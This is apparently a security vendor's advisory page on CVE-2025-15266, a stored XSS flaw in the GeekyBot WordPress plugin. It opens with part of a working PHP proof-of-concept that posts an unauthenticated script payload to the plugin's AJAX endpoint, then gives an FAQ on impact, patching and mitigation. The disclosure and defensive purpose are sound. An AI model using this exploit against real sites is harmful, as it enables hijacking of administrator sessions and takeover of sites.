$chat_id = 'chat_' . bin2hex(random_bytes(8));

// WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// First, save malicious chat message to history
$post_data = [
    'action' => 'geekybot_frontendajax',
    'geekybotme' => 'chathistory',
    'task' => 'SaveChathistory',
    'cmessage' => $payload,
    'csender' => 'user',
    '_wpnonce' => 'bypassed_nonce' // Nonce verification is disabled in vulnerable version
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "[+] Payload successfully injected.n";
    echo "[+] Response: " . htmlspecialchars($response) . "n";
    echo "[+] The XSS payload will execute when an administrator views the Chat History page.n";
} else {
    echo "[-] Injection failed. HTTP Code: " . $http_code . "n";
    echo "[-] Response: " . htmlspecialchars($response) . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2025-15266?
Overview of the vulnerability
CVE-2025-15266 is a high-severity unauthenticated stored cross-site scripting (XSS) vulnerability in the GeekyBot plugin for WordPress, affecting versions up to and including 1.1.8. It allows attackers to inject arbitrary scripts through the chat message field, which execute when an administrator accesses the Chat History page.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the chat message handling functionality. Attackers can send malicious JavaScript payloads via unauthenticated POST requests, which are stored in the database and executed in the administrator’s browser context when viewing the chat history.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the GeekyBot plugin version 1.1.8 or earlier is affected by this vulnerability. Site administrators should check their plugin version and update if necessary to mitigate the risk.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the GeekyBot plugin installed. If it is version 1.1.8 or earlier, your site is at risk. You can also review the chat history for any suspicious messages that could indicate exploitation.
How can I fix this vulnerability?
Updating the plugin
To fix CVE-2025-15266, update the GeekyBot plugin to version 1.1.9 or later, where the vulnerability has been patched. Regularly updating all plugins and themes is a best practice for maintaining site security.
What does the CVSS score of 7.2 indicate?
Understanding the severity rating
The CVSS score of 7.2 indicates a high severity level, meaning the vulnerability poses a significant risk to affected systems. It suggests that successful exploitation could lead to serious consequences, including unauthorized access and data compromise.
What are the practical risks of this vulnerability?
Potential impact on the site
The practical risks include session hijacking, administrative account takeover, and the potential for attackers to install backdoors or deface content. Since the payload is stored, all administrators who access the Chat History could be impacted.
What is a proof of concept (PoC)?
Demonstrating the vulnerability
A proof of concept is a demonstration that illustrates how the vulnerability can be exploited. In this case, the PoC shows how an attacker can send a malicious chat message that executes JavaScript in the context of an administrator, highlighting the risk of the stored XSS vulnerability.
How does the patch in version 1.1.9 address the vulnerability?
Changes made to secure the plugin
The patch in version 1.1.9 includes sanitization of user input using functions like sanitize_text_field() and replaces unsafe string concatenation with jQuery’s .text() method. These changes prevent the injection of malicious scripts into the chat history.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If you cannot update the plugin immediately, consider disabling the GeekyBot plugin until the update can be applied. Additionally, monitor your site for any unusual activity and review user permissions to limit potential exploitation.
Are there any additional security measures I should take?
Enhancing overall site security
In addition to updating the plugin, consider implementing security plugins that provide web application firewalls, regular security audits, and user activity monitoring. Keeping WordPress core and all plugins updated is essential for maintaining security.
Where can I find more information about CVE-2025-15266?
Resources for further reading
More information about CVE-2025-15266 can be found in the official CVE database, security advisories from the plugin developer, and security-focused blogs that analyze vulnerabilities. Staying informed about security issues is crucial for site administrators.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

CVE-2025-15266: GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation <= 1.1.8 – Unauthenticated Stored Cross-Site Scripting (geeky-bot)

Analysis Overview

Differential between vulnerable and patched code

Proof of Concept (PHP)

Frequently Asked Questions

What is CVE-2025-15266?

How does the vulnerability work?

Who is affected by this vulnerability?

How can I check if my site is vulnerable?

How can I fix this vulnerability?

What does the CVSS score of 7.2 indicate?

What are the practical risks of this vulnerability?

What is a proof of concept (PoC)?

How does the patch in version 1.1.9 address the vulnerability?

What should I do if I cannot update the plugin immediately?

Are there any additional security measures I should take?

Where can I find more information about CVE-2025-15266?

How Atomic Edge Works

Trusted by Developers & Organizations